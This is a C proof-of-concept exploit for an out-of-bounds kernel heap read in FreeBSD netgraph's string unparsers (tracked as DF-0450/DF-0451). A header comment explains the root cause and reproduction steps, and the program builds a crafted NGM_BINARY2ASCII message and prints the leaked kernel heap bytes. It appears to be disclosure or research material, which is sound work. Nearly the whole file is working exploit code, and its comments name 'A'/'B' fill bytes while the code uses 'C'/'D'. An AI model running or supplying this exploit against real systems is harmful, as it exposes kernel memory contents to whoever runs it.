DF-0450 / ng_oob_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | /* * DF-0450 / DF-0451 — netgraph ng_string_unparse / ng_fixedstring_unparse * unbounded strlen() OOB kernel heap read. * * Mechanism (root-only path via PF_NETGRAPH control socket): * 1. Send NGM_BINARY2ASCII to "." with a *crafted* inner ng_mesg whose: * - header.typecookie = NGM_GENERIC_COOKIE * - header.cmd = NGM_TEXT_STATUS (respType == &ng_parse_string_type) * - header.flags = NGF_RESP (so respType, not mesgType, is used) * - header.cmdstr = 32 × 'A' (DF-0451: fixedstring_unparse -> strlen past bufSize) * - data = N × 'B' (DF-0450: string_unparse -> strlen past arglen) * 2. ng_base.c:1562 calls ng_unparse(argstype, binary->data, ascii->data, bufSize) * where argstype = ng_parse_string_type. For the struct ng_mesg layout * (ng_parse_ng_mesg_type) the composite unparser also visits "cmdstr", * which is ng_parse_cmdbuf_type (a fixedstring of NG_CMDSTRSIZ=32). Both * ng_string_unparse (ng_parse.c:727) and ng_fixedstring_unparse * (ng_parse.c:792 -> ng_string_unparse) end up calling strlen(raw) with NO * upper bound. raw points into the user-controlled kernel allocation * (kmalloc(len+1, M_NETGRAPH) in ng_socket.c:253-254); with no NUL byte in * the field, strlen keeps scanning past the field into the trailing * uninitialized byte and adjacent kernel heap. * 3. The leaked bytes are encoded (ng_encode_string escapes non-printables) * and returned in ascii->data of the response, where the user prints them. * * Trigger requires root: PF_NETGRAPH sockets need root (ng_socket.c). This is * a root -> kernel info leak, NOT a privilege escalation. The leak IS real and * runs off the end of the user-controlled allocation into kernel heap. * * Reproduction: build, then as root: * kldload ng_socket.ko * ./ng_oob_leak */ #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netgraph.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #define NG_PATH "." /* the local socket node */ #define INNER_DATA_LEN 64 /* non-NUL bytes appended after the inner ng_mesg */ int main(void) { int csock = -1, dsock = -1; int rc = 1; /* Create a netgraph socket node (root only). */ if (NgMkSockNode(NULL, &csock, &dsock) < 0) { fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno)); fprintf(stderr, "(PF_NETGRAPH sockets require root; run as root after " "'kldload ng_socket.ko')\n"); return 2; } /* * Build the inner binary ng_mesg that will be CONVERTED by NGM_BINARY2ASCII. * Layout: * struct ng_mesg header (sizeof = 56, see ng_message.h) * u_char data[INNER_DATA_LEN] -- the "args" of the inner message * * We choose NGM_TEXT_STATUS with NGF_RESP because its respType is * ng_parse_string_type, so unparse calls ng_string_unparse on data[0..]. * * Both ng_parse_ng_mesg_type (struct unparser visits "cmdstr" via * ng_parse_cmdbuf_type -> ng_fixedstring_unparse -> ng_string_unparse, * triggering DF-0451) AND the inner data string (ng_string_unparse, * triggering DF-0450) end up doing unbounded strlen(). */ size_t inner_total = sizeof(struct ng_mesg) + INNER_DATA_LEN; struct ng_mesg *inner = calloc(1, inner_total); if (!inner) { perror("calloc"); goto out; } inner->header.version = NG_VERSION; inner->header.arglen = INNER_DATA_LEN; inner->header.flags = NGF_RESP; /* pick respType */ inner->header.token = 0x41414141; inner->header.typecookie = NGM_GENERIC_COOKIE; inner->header.cmd = NGM_TEXT_STATUS; /* respType = string */ /* DF-0451: 32 non-NUL bytes in cmdstr (fixedstring NG_CMDSTRSIZ=32). */ memset(inner->header.cmdstr, 'C', NG_CMDSTRSIZ); /* DF-0450: INNER_DATA_LEN non-NUL bytes of "data". */ memset(inner->data, 'D', INNER_DATA_LEN); /* * Send NGM_BINARY2ASCII to "." -- the generic netgraph node will run the * ng_unparse path on our crafted inner message. */ if (NgSendMsg(csock, NG_PATH, NGM_GENERIC_COOKIE, NGM_BINARY2ASCII, inner, inner_total) < 0) { fprintf(stderr, "NgSendMsg(BINARY2ASCII) failed: %s\n", strerror(errno)); goto out; } /* Receive the ASCII conversion result. */ unsigned char rbuf[8192]; struct ng_mesg *resp = (struct ng_mesg *)rbuf; if (NgRecvMsg(csock, resp, sizeof(rbuf), NULL) < 0) { fprintf(stderr, "NgRecvMsg failed: %s\n", strerror(errno)); goto out; } /* resp->data is ANOTHER ng_mesg whose .data is the ASCII conversion. */ struct ng_mesg *ascii = (struct ng_mesg *)resp->data; printf("=== NGM_BINARY2ASCII response ===\n"); printf("cmd=%u cmdstr=%.32s arglen=%u flags=0x%x\n", ascii->header.cmd, ascii->header.cmdstr, ascii->header.arglen, ascii->header.flags); printf("ascii arglen=%u\n", ascii->header.arglen); printf("=== ascii->data (leaked bytes encoded) ===\n"); /* ascii->data length = ascii->header.arglen. */ fwrite(ascii->data, 1, ascii->header.arglen, stdout); putchar('\n'); /* Heuristic: if the leaked output is longer than what the inner fields * legitimately contain, OOB read happened. cmdstr should be 32 'C's * encoded as "CCCCC...CCCC" (34 chars: 32 + 2 quotes), data should be * 64 'D's encoded as "DDDD...DDDD" (66 chars). Any byte beyond that * came from kernel heap. */ size_t legit = (2 * 2) + NG_CMDSTRSIZ + INNER_DATA_LEN + 16 /* misc */; if (ascii->header.arglen > legit) { printf("\n[!] OOB READ CONFIRMED: ascii->data is %u bytes, " "legit content <= %zu bytes; %d bytes leaked from kernel heap\n", ascii->header.arglen, legit, (int)(ascii->header.arglen - legit)); printf("[!] Sample of leaked tail (last 64 bytes of ascii->data):\n "); size_t start = ascii->header.arglen > 64 ? ascii->header.arglen - 64 : 0; for (size_t i = start; i < ascii->header.arglen; i++) { unsigned char c = (unsigned char)ascii->data[i]; if (c >= 32 && c < 127) putchar(c); else printf("\\x%02x", c); } putchar('\n'); } else { printf("\n[?] ascii->data length %u did not exceed legit %zu; " "a NUL terminator stopped strlen early.\n", ascii->header.arglen, legit); } rc = 0; out: if (csock >= 0) close(csock); if (dsock >= 0) close(dsock); return rc; } |